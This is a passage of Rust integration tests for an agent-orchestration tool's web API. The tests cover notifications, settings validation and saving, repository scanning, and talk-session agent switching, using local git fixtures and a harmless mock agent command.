13976 "schema": 1, "pending": ["saved-inquiry"],
13977 "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
13978 });
13979 let bytes = serde_json::to_vec(&journal).unwrap();
13980 std::fs::write(root.join("state.json"), &bytes).unwrap();
13981 for _ in 0..2 {
13982 let response = fx.get("/api/decisions").await;
13983 assert_eq!(response.status, 200);
13984 let listed = response.json();
13985 assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
13986 assert!(listed["items"].as_array().unwrap().is_empty());
13987 assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
13988 }
13989 std::fs::write(root.join("state.json"), b"{").unwrap();
13991 let response = fx.get("/api/decisions").await;
13992 assert_eq!(response.status, 200);
13993 assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
13994 }
13995
13996 #[tokio::test]
13997 async fn notifications_list_read_dismiss_and_health_agree() {
13998 let fx = Fixture::start().await;
13999 let store = Notices::at(fx.home.path().join("notifications"));
14000 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14001 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14002
14003 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14004 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14005
14006 store
14007 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14008 .unwrap();
14009 let health = fx.get("/api/health").await.json();
14010 assert_eq!(health["notifications_unread"], 2);
14011 assert_ne!(
14012 health["notifications_rev"], rev0,
14013 "the badge must move live"
14014 );
14015
14016 let listed = fx.get("/api/notifications").await.json();
14017 assert_eq!(listed["unread"], 2);
14018 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14019 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14020
14021 let read = fx
14022 .post(&format!("/api/notifications/{}/read", a.id), None)
14023 .await;
14024 assert_eq!(read.status, 200, "{}", read.body);
14025 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14026
14027 let gone = fx
14028 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14029 .await;
14030 assert_eq!(gone.status, 200, "{}", gone.body);
14031 let listed = fx.get("/api/notifications").await.json();
14032 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14033 assert_eq!(listed["unread"], 0);
14034
14035 store.raise(Notice::info("x", "again")).unwrap();
14036 let all = fx.post("/api/notifications/read-all", None).await;
14037 assert_eq!(all.status, 200, "{}", all.body);
14038 assert_eq!(all.json()["marked"], 1);
14039 assert_eq!(
14040 fx.get("/api/health").await.json()["notifications_unread"],
14041 0
14042 );
14043
14044 let missing = fx.post("/api/notifications/nope/read", None).await;
14045 assert_eq!(missing.status, 404, "{}", missing.body);
14046 assert!(missing.json()["error"].is_string());
14047 }
14048
14049 #[tokio::test]
14056 async fn a_task_cannot_be_filed_over_the_phone_directly() {
14057 let f = Fixture::start().await;
14058
14059 let res = f
14060 .post(
14061 "/api/queue",
14062 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14063 )
14064 .await;
14065
14066 assert_eq!(
14067 res.status, 405,
14068 "POST /api/queue must not be a route: {}",
14069 res.body
14070 );
14071 assert!(
14072 f.queue().list().is_empty(),
14073 "a task filed by a route that does not exist must not reach the disk"
14074 );
14075 assert_eq!(f.get("/api/queue").await.status, 200);
14078 }
14079
14080 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14082 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14083 .expect("checkout dir");
14084 }
14085
14086 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14088
14089 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14090 let tmp = TempDir::new().expect("tempdir");
14091 let repo = tmp.path().join("repo");
14092 std::fs::create_dir_all(&repo).expect("repo dir");
14093 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14094 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14095 if let Some(text) = machine_toml {
14096 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14097 std::fs::write(&machine, text).expect("machine toml");
14098 }
14099 (tmp, repo, machine)
14100 }
14101
14102 async fn settings_checkout(path: &FsPath, text: &str) {
14103 std::fs::create_dir_all(path).unwrap();
14104 std::fs::write(path.join("magi.toml"), text).unwrap();
14105 for args in [
14106 vec!["init", "-b", "main"],
14107 vec!["add", "magi.toml"],
14108 vec![
14109 "-c",
14110 "user.name=Test",
14111 "-c",
14112 "user.email=test@example.invalid",
14113 "commit",
14114 "-m",
14115 "fixture",
14116 ],
14117 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14118 vec![
14119 "symbolic-ref",
14120 "refs/remotes/origin/HEAD",
14121 "refs/remotes/origin/main",
14122 ],
14123 ] {
14124 crate::git::git(path, &args).await.unwrap();
14125 }
14126 }
14127
14128 #[tokio::test]
14129 async fn settings_context_handlers_validate_and_save_without_a_socket() {
14130 let (tmp, repo, machine) =
14131 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14132 let root = tmp.path().join("roots");
14133 let selected = root.join("host/owner/selected");
14134 settings_checkout(
14135 &selected,
14136 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14137 )
14138 .await;
14139 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14140 let before = std::fs::read(&machine).unwrap();
14141 let ui = Arc::new(
14142 Ui::new(
14143 Queue::at(tmp.path().join("queue")),
14144 Questions::at(tmp.path().join("questions")),
14145 Talks::at(tmp.path().join("talks")),
14146 tmp.path().join("runs"),
14147 tmp.path().to_path_buf(),
14148 repo.clone(),
14149 )
14150 .with_machine_config(Some(machine.clone())),
14151 );
14152 let query = || {
14153 Query(SettingsQuery {
14154 repo: Some(selected.clone()),
14155 })
14156 };
14157 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14158 assert!(v.error.is_none(), "{:?}", v.error);
14159 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14160 assert_eq!(conductor.source, "repo");
14161 assert_eq!(
14162 conductor.machine_value,
14163 Some(toml::Value::String("a".into()))
14164 );
14165 assert!(!conductor.editable);
14166 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14167 assert_eq!(
14168 judges.count.as_ref().unwrap().machine_value,
14169 Some(toml::Value::Integer(1))
14170 );
14171 assert!(
14172 !v.roles
14173 .iter()
14174 .find(|r| r.key == "reviewers")
14175 .unwrap()
14176 .editable
14177 );
14178 let unknown = || {
14179 Query(SettingsQuery {
14180 repo: Some(tmp.path().to_path_buf()),
14181 })
14182 };
14183 assert_eq!(
14184 settings_get(State(ui.clone()), unknown())
14185 .await
14186 .unwrap_err()
14187 .status,
14188 StatusCode::UNPROCESSABLE_ENTITY
14189 );
14190 let body = || {
14191 Ok(Json(RolesBody {
14192 revision: v.revision.clone(),
14193 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14194 counts: Default::default(),
14195 }))
14196 };
14197 assert_eq!(
14198 settings_put_roles(State(ui.clone()), unknown(), body())
14199 .await
14200 .unwrap_err()
14201 .status,
14202 StatusCode::UNPROCESSABLE_ENTITY
14203 );
14204 assert_eq!(std::fs::read(&machine).unwrap(), before);
14205 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14206 .await
14207 .unwrap();
14208 assert_eq!(
14209 saved.repo,
14210 selected.canonicalize().unwrap().display().to_string()
14211 );
14212 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14213 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14214 let fresh = root.join("host/owner/fresh");
14216 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14217 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14218 .await
14219 .unwrap();
14220 assert_eq!(fresh_view.repositories.len(), 3);
14221 }
14222
14223 #[tokio::test]
14224 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14225 let (tmp, repo, machine) = settings_dirs(
14226 "[roles]\nreviewers = [\"a\"]\n",
14227 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14228 );
14229 let root = tmp.path().join("roots");
14230 let selected = root.join("host/owner/selected");
14231 settings_checkout(
14232 &selected,
14233 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14234 )
14235 .await;
14236 let broken = root.join("host/owner/broken");
14237 settings_checkout(&broken, "[roles\nbroken").await;
14238 let machine_text = format!(
14239 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14240 toml::Value::String(root.display().to_string())
14241 );
14242 std::fs::write(&machine, &machine_text).unwrap();
14243 let originals: Vec<_> = [&repo, &selected, &broken]
14244 .iter()
14245 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14246 .collect();
14247 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14248 let default = f.get("/api/settings").await.json();
14249 assert_eq!(
14250 default["repo"],
14251 repo.canonicalize().unwrap().display().to_string()
14252 );
14253 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14254 let query = format!("?repo={}", selected.display());
14255 let res = f.get(&format!("/api/settings{query}")).await;
14256 assert_eq!(res.status, 200, "{}", res.body);
14257 let v = res.json();
14258 assert!(v["error"].is_null(), "{v}");
14259 assert_eq!(v["repositories"], default["repositories"]);
14260 let role = |key: &str| {
14261 v["roles"]
14262 .as_array()
14263 .unwrap()
14264 .iter()
14265 .find(|r| r["key"] == key)
14266 .unwrap()
14267 };
14268 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14269 assert_eq!(role("advisors")["source"], "repo");
14270 assert_eq!(role("advisors")["editable"], false);
14271 assert!(role("advisors")["machine_value"].is_null());
14272 assert_eq!(role("judges")["count"]["value"], 2);
14273 assert_eq!(role("judges")["count"]["machine_value"], 1);
14274 assert_eq!(role("judges")["count"]["source"], "repo");
14275 let source = role("judges")["count"]["source_path"].as_str().unwrap();
14276 assert!(
14277 source.contains("origin/main") && !source.contains("magi/config/"),
14278 "{source}"
14279 );
14280 assert_eq!(
14281 role("reviewers")["editable"],
14282 false,
14283 "default context outside roots must protect its declarations"
14284 );
14285 let body =
14286 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14287 let unknown = format!("?repo={}", tmp.path().display());
14288 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14289 assert_eq!(
14290 f.put(&format!("/api/settings/roles{unknown}"), &body)
14291 .await
14292 .status,
14293 422
14294 );
14295 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14296 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14297 .to_string();
14298 assert_eq!(
14299 f.put(&format!("/api/settings/roles{query}"), &refuse)
14300 .await
14301 .status,
14302 422
14303 );
14304 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14305 assert_eq!(saved.status, 200, "{}", saved.body);
14306 assert_eq!(saved.json()["repo"], v["repo"]);
14307 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14308 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14309 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14310 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14311 }
14312 let error = f
14313 .get(&format!("/api/settings?repo={}", broken.display()))
14314 .await;
14315 assert_eq!(error.status, 200);
14316 assert!(error.json()["error"]["message"].is_string());
14317 assert_eq!(error.json()["repositories"], default["repositories"]);
14318 }
14319
14320 #[tokio::test]
14321 async fn settings_get_reports_sources_and_the_advisors_fallback() {
14322 let (_tmp, repo, machine) =
14323 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14324 let f = Fixture::with_repo_and_machine(repo, machine).await;
14325 let res = f.get("/api/settings").await;
14326 assert_eq!(res.status, 200, "{}", res.body);
14327 let v = res.json();
14328 assert!(v["error"].is_null(), "{v}");
14329 let role = |k: &str| {
14330 v["roles"]
14331 .as_array()
14332 .and_then(|r| r.iter().find(|x| x["key"] == k))
14333 .cloned()
14334 .unwrap_or_else(|| panic!("no role {k}: {v}"))
14335 };
14336 assert_eq!(role("judges")["source"], "machine");
14337 assert_eq!(role("judges")["editable"], true);
14338 assert_eq!(role("implementers")["source"], "default");
14339 let adv = role("advisors");
14340 assert_eq!(adv["fallback"], "judges");
14341 assert!(
14342 adv["seats"]
14343 .as_array()
14344 .is_some_and(|s| s.iter().all(|x| x == "b")),
14345 "{adv}"
14346 );
14347 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14348 assert_eq!(v["agents"][0]["source"], "repo");
14349 }
14350
14351 #[tokio::test]
14352 async fn settings_get_reports_a_config_that_does_not_parse() {
14353 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14354 let f = Fixture::with_repo_and_machine(repo, machine).await;
14355 let res = f.get("/api/settings").await;
14356 assert_eq!(res.status, 200, "{}", res.body);
14357 let v = res.json();
14358 assert!(v["error"]["message"].is_string(), "{v}");
14359 assert!(
14360 v["error"]["path"]
14361 .as_str()
14362 .is_some_and(|p| p.ends_with("magi.toml")),
14363 "{v}"
14364 );
14365 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14366 }
14367
14368 #[tokio::test]
14369 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14370 let (_tmp, repo, machine) = settings_dirs(
14371 SETTINGS_AGENTS,
14372 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
14373 );
14374 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14375 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14376 let rev = f.get("/api/settings").await.json()["revision"]
14377 .as_str()
14378 .expect("revision")
14379 .to_owned();
14380 let body = serde_json::json!({
14381 "revision": rev,
14382 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14383 })
14384 .to_string();
14385 let res = f.put("/api/settings/roles", &body).await;
14386 assert_eq!(res.status, 200, "{}", res.body);
14387 let text = std::fs::read_to_string(&machine).expect("machine");
14388 assert_eq!(
14389 text,
14390 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14391 );
14392 assert_eq!(
14393 std::fs::read(repo.join("magi.toml")).expect("read"),
14394 repo_before
14395 );
14396 let again = f.get("/api/settings").await.json();
14397 let judges = again["roles"]
14398 .as_array()
14399 .expect("roles")
14400 .iter()
14401 .find(|r| r["key"] == "judges")
14402 .expect("judges")
14403 .clone();
14404 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14405 let stale = f.put("/api/settings/roles", &body).await;
14407 assert_eq!(stale.status, 409, "{}", stale.body);
14408 }
14409
14410 #[tokio::test]
14411 async fn settings_counts_are_reported_and_saved() {
14412 let (_tmp, repo, machine) = settings_dirs(
14413 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14414 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14415 );
14416 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14417 let v = f.get("/api/settings").await.json();
14418 let count = |v: &serde_json::Value, k: &str| {
14419 v["roles"]
14420 .as_array()
14421 .and_then(|r| r.iter().find(|x| x["key"] == k))
14422 .map(|x| x["count"].clone())
14423 .unwrap_or_else(|| panic!("no role {k}: {v}"))
14424 };
14425 let imp = count(&v, "implementers");
14426 assert_eq!(imp["value"], 2);
14427 assert_eq!(imp["source"], "machine");
14428 assert_eq!(imp["file_key"], "candidates");
14429 assert_eq!(imp["roster_len"], 2);
14430 assert_eq!(imp["backups"], 0);
14431 assert_eq!(count(&v, "judges")["source"], "default");
14432 assert_eq!(count(&v, "advisors")["min"], 0);
14433 assert_eq!(count(&v, "reviewers")["editable"], false);
14434 assert!(
14435 count(&v, "reviewers")["locked_reason"]
14436 .as_str()
14437 .is_some_and(|m| m.contains("graph.reviewers"))
14438 );
14439 assert!(count(&v, "fixer").is_null());
14440 let rev = v["revision"].as_str().expect("revision").to_owned();
14441 let body = serde_json::json!({
14442 "revision": rev,
14443 "roles": { "judges": ["b"] },
14444 "counts": { "implementers": 1, "advisors": 0 }
14445 })
14446 .to_string();
14447 let res = f.put("/api/settings/roles", &body).await;
14448 assert_eq!(res.status, 200, "{}", res.body);
14449 let text = std::fs::read_to_string(&machine).expect("machine");
14450 assert_eq!(
14451 text,
14452 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14453 );
14454 let after = f.get("/api/settings").await.json();
14455 assert_eq!(count(&after, "implementers")["value"], 1);
14456 assert_eq!(count(&after, "implementers")["backups"], 1);
14457 assert_eq!(count(&after, "advisors")["value"], 0);
14458 let before = std::fs::read_to_string(&machine).expect("machine");
14459 let rev = after["revision"].as_str().expect("revision").to_owned();
14460 for counts in [
14461 serde_json::json!({ "judges": 0 }),
14462 serde_json::json!({ "judges": "x" }),
14463 serde_json::json!({ "judges": 2.5 }),
14464 serde_json::json!({ "judges": -1 }),
14465 serde_json::json!({ "reviewers": 3 }),
14466 serde_json::json!({ "bogus": 3 }),
14467 ] {
14468 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14469 let res = f.put("/api/settings/roles", &body).await;
14470 assert_eq!(res.status, 422, "{counts}: {}", res.body);
14471 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14472 }
14473 }
14474
14475 #[tokio::test]
14476 async fn settings_put_refuses_without_touching_the_file() {
14477 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14478 let (_tmp, repo, machine) = settings_dirs(
14479 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14480 Some(machine_text),
14481 );
14482 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14483 let rev = f.get("/api/settings").await.json()["revision"]
14484 .as_str()
14485 .expect("revision")
14486 .to_owned();
14487 for roles in [
14488 serde_json::json!({ "judges": ["nope"] }),
14489 serde_json::json!({ "reviewers": ["b"] }),
14490 serde_json::json!({ "bogus": ["a"] }),
14491 ] {
14492 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14493 let res = f.put("/api/settings/roles", &body).await;
14494 assert_eq!(res.status, 422, "{roles}: {}", res.body);
14495 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14496 assert_eq!(
14497 std::fs::read_to_string(&machine).expect("machine"),
14498 machine_text
14499 );
14500 }
14501 }
14502
14503 #[tokio::test]
14504 async fn repos_list_returns_name_and_path_for_every_configured_root() {
14505 let tmp = TempDir::new().expect("tempdir");
14506 let repo = tmp.path().join("repo");
14507 std::fs::create_dir_all(&repo).expect("repo dir");
14508 let root = tmp.path().join("root");
14509 make_checkout(&root, "github.com", "yukimemi", "magi");
14510 std::fs::write(
14511 repo.join("magi.toml"),
14512 format!(
14513 "[repos]\nroots = [{:?}]\n",
14514 root.to_string_lossy().into_owned()
14515 ),
14516 )
14517 .expect("write magi.toml");
14518
14519 let f = Fixture::with_repo(repo).await;
14520 let res = f.get("/api/repos").await;
14521 assert_eq!(res.status, 200, "{}", res.body);
14522 let list = res.json();
14523 let repos = list.as_array().expect("an array");
14524 assert_eq!(repos.len(), 1);
14525 assert_eq!(repos[0]["name"], "yukimemi/magi");
14526 assert!(
14527 repos[0]["path"]
14528 .as_str()
14529 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14530 "{list}"
14531 );
14532 }
14533
14534 #[tokio::test]
14535 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14536 let tmp = TempDir::new().expect("tempdir");
14537 let repo = tmp.path().join("repo");
14538 std::fs::create_dir_all(&repo).expect("repo dir");
14539 let root = tmp.path().join("root");
14540 make_checkout(&root, "github.com", "yukimemi", "magi");
14541 std::fs::write(
14542 repo.join("magi.toml"),
14543 format!(
14544 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14545 root.to_string_lossy().into_owned()
14546 ),
14547 )
14548 .expect("write magi.toml");
14549
14550 let f = Fixture::with_repo(repo).await;
14551 let first = f.get("/api/repos").await;
14552 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14553
14554 make_checkout(&root, "github.com", "yukimemi", "rvpm");
14557 let second = f.get("/api/repos").await;
14558 assert_eq!(
14559 second.json().as_array().map(Vec::len),
14560 Some(1),
14561 "a fresh cache must not rescan inside the TTL"
14562 );
14563
14564 let refreshed = f.get("/api/repos?refresh=1").await;
14565 assert_eq!(
14566 refreshed.json().as_array().map(Vec::len),
14567 Some(2),
14568 "an explicit refresh must rescan even inside the TTL"
14569 );
14570 }
14571
14572 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14578
14579 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14583 let tmp = TempDir::new().expect("tempdir");
14584 let repo = tmp.path().join("repo");
14585 std::fs::create_dir_all(&repo).expect("repo dir");
14586 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14587 let f = Fixture::with_repo(repo.clone()).await;
14588 (tmp, repo, f)
14589 }
14590
14591 #[tokio::test]
14592 async fn posting_a_talk_with_remembered_choices_is_soft() {
14593 let (_tmp, _repo, f) = talk_fixture().await;
14594
14595 let good = f
14596 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14597 .await;
14598 assert_eq!(good.status, 201, "{}", good.body);
14599 assert_eq!(good.json()["persona"], "rei");
14600
14601 let stale = f
14603 .post(
14604 "/api/talks",
14605 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14606 )
14607 .await;
14608 assert_eq!(stale.status, 201, "{}", stale.body);
14609 let v = stale.json();
14610 assert_eq!(v["implementers"], 1);
14611 assert_ne!(v["persona"], "nobody");
14612 let typed = f
14613 .post(
14614 "/api/talks",
14615 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14616 )
14617 .await;
14618 assert_eq!(typed.status, 201, "{}", typed.body);
14619
14620 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14622 assert!(
14623 !strict.status.to_string().starts_with('2'),
14624 "{}",
14625 strict.body
14626 );
14627 }
14628
14629 #[tokio::test]
14630 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14631 let (_tmp, _repo, f) = talk_fixture().await;
14632
14633 let opened = f.post("/api/talks", None).await;
14636 assert_eq!(opened.status, 201, "{}", opened.body);
14637 let body = opened.json();
14638 assert_eq!(body["status"], "open");
14639 assert_eq!(
14640 body["turns"].as_array().unwrap().len(),
14641 0,
14642 "opening takes no agent turn: there is nothing yet to answer"
14643 );
14644
14645 let also_opened = f.post("/api/talks", Some("{}")).await;
14647 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14648
14649 let listed = f.get("/api/talks").await.json();
14650 assert_eq!(listed.as_array().unwrap().len(), 2);
14651 }
14652
14653 #[tokio::test]
14654 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14655 let tmp = TempDir::new().expect("tempdir");
14656 let repo = tmp.path().join("repo");
14657 std::fs::create_dir_all(&repo).expect("repo dir");
14658 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14659 std::fs::write(
14660 repo.join("magi.toml"),
14661 format!("{MOCK_AGENT_TOML}\n{second}"),
14662 )
14663 .expect("write magi.toml");
14664 let home = TempDir::new().expect("temp home");
14665 let talks = Talks::at(home.path().join("talks"));
14666 let ui = Arc::new(
14667 Ui::new(
14668 Queue::at(home.path().join("queue")),
14669 Questions::at(home.path().join("questions")),
14670 talks.clone(),
14671 home.path().join("runs"),
14672 home.path().to_path_buf(),
14673 repo.clone(),
14674 )
14675 .with_worktrees_root(home.path().join("wt")),
14676 );
14677 let cfg = config_for(&repo).await.expect("discover config");
14678 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14679 let id = talk.id.clone();
14680 let call = |agent: &str| {
14681 talk_agent(
14682 State(Arc::clone(&ui)),
14683 Path(id.clone()),
14684 Json(TalkAgent {
14685 agent: agent.to_owned(),
14686 }),
14687 )
14688 };
14689
14690 let unknown = call("nobody").await.expect_err("unknown agent");
14691 assert_eq!(
14692 unknown.status,
14693 StatusCode::BAD_REQUEST,
14694 "{}",
14695 unknown.message
14696 );
14697
14698 {
14699 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14702 let busy = call("second").await.expect_err("busy talk");
14703 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14704 assert!(
14705 busy.message.contains("a talk turn is running"),
14706 "{}",
14707 busy.message
14708 );
14709 drop(guard);
14710 }
14711 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14712
14713 let Json(view) = call("second").await.expect("switch");
14714 assert_eq!(view.talk.agent, "second");
14715 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14716 let saved = talks.get(&id).expect("reload");
14717 assert_eq!(saved.agent, "second");
14718 assert_eq!(saved.turns.len(), 1);
14719 assert!(!view.thinking);
14720 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14721 for agent in ["mock", "second"] {
14722 let Json(view) = call(agent).await.expect("immediate consecutive change");
14723 assert_eq!(view.talk.agent, agent);
14724 assert!(!view.thinking);
14725 assert!(!ui.is_thinking(&id));
14726 }
14727
14728 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14729 .await
14730 .expect("detail");
14731 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14732 assert_eq!(roster, ["mock", "second"]);
14733
14734 let mut closed = talks.get(&id).expect("reload");
14735 talk::close(&mut closed, &talks).expect("close");
14736 let refused = call("mock").await.expect_err("closed talk");
14737 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14738 assert!(
14739 refused.message.contains("takes no more turns"),
14740 "{}",
14741 refused.message
14742 );
14743 }
14744
14745 #[tokio::test]
14746 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14747 let tmp = TempDir::new().expect("tempdir");
14748 let repo = tmp.path().join("repo");
14749 std::fs::create_dir_all(&repo).expect("repo dir");
14750 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14751 let home = TempDir::new().expect("temp home");
14752 let talks = Talks::at(home.path().join("talks"));
14753 let ui = Arc::new(
14754 Ui::new(
14755 Queue::at(home.path().join("queue")),
14756 Questions::at(home.path().join("questions")),
14757 talks.clone(),
14758 home.path().join("runs"),
14759 home.path().to_path_buf(),
14760 repo.clone(),
14761 )
14762 .with_worktrees_root(home.path().join("wt")),
14763 );
14764 let cfg = config_for(&repo).await.expect("discover config");
14765 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14766 let id = talk.id.clone();
14767 let call = |n: u8| {
14768 talk_implementers(
14769 State(Arc::clone(&ui)),
14770 Path(id.clone()),
14771 Json(TalkImplementers { implementers: n }),
14772 )
14773 };
14774
14775 for bad in [0u8, 4] {
14776 let e = call(bad).await.expect_err("out of range");
14777 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14778 }
14779 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14780
14781 {
14782 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14785 let busy = call(2).await.expect_err("busy talk");
14786 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14787 assert!(
14788 busy.message.contains("a talk turn is running"),
14789 "{}",
14790 busy.message
14791 );
14792 drop(guard);
14793 }
14794
14795 let Json(view) = call(3).await.expect("switch");
14796 assert_eq!(view.talk.implementers, 3);
14797 assert!(talks.get(&id).expect("reload").implementers_dirty);
14798 assert!(!view.thinking);
14799 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14800 for n in [1, 2, 3] {
14801 let Json(view) = call(n).await.expect("immediate consecutive change");
14802 assert_eq!(view.talk.implementers, n);
14803 assert!(!view.thinking);
14804 assert!(!ui.is_thinking(&id));
14805 }
14806
14807 let mut closed = talks.get(&id).expect("reload");
14808 talk::close(&mut closed, &talks).expect("close");
14809 let e = call(2).await.expect_err("closed talk");
14810 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14811 assert!(e.message.contains("takes no more turns"), "{}", e.message);
14812 }
14813
14814 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14816 let tmp = TempDir::new().expect("tempdir");
14817 let repo = tmp.path().join("repo");
14818 std::fs::create_dir_all(&repo).expect("repo dir");
14819 std::fs::write(
14820 repo.join("magi.toml"),
14821 format!("{MOCK_AGENT_TOML}\n{extra}"),
14822 )
14823 .expect("write magi.toml");
14824 let home = TempDir::new().expect("temp home");
14825 let talks = Talks::at(home.path().join("talks"));
14826 let ui = Arc::new(
14827 Ui::new(
14828 Queue::at(home.path().join("queue")),
14829 Questions::at(home.path().join("questions")),
14830 talks.clone(),
14831 home.path().join("runs"),
14832 home.path().to_path_buf(),
14833 repo.clone(),
14834 )
14835 .with_worktrees_root(home.path().join("wt")),
14836 );
14837 let cfg = config_for(&repo).await.expect("discover config");
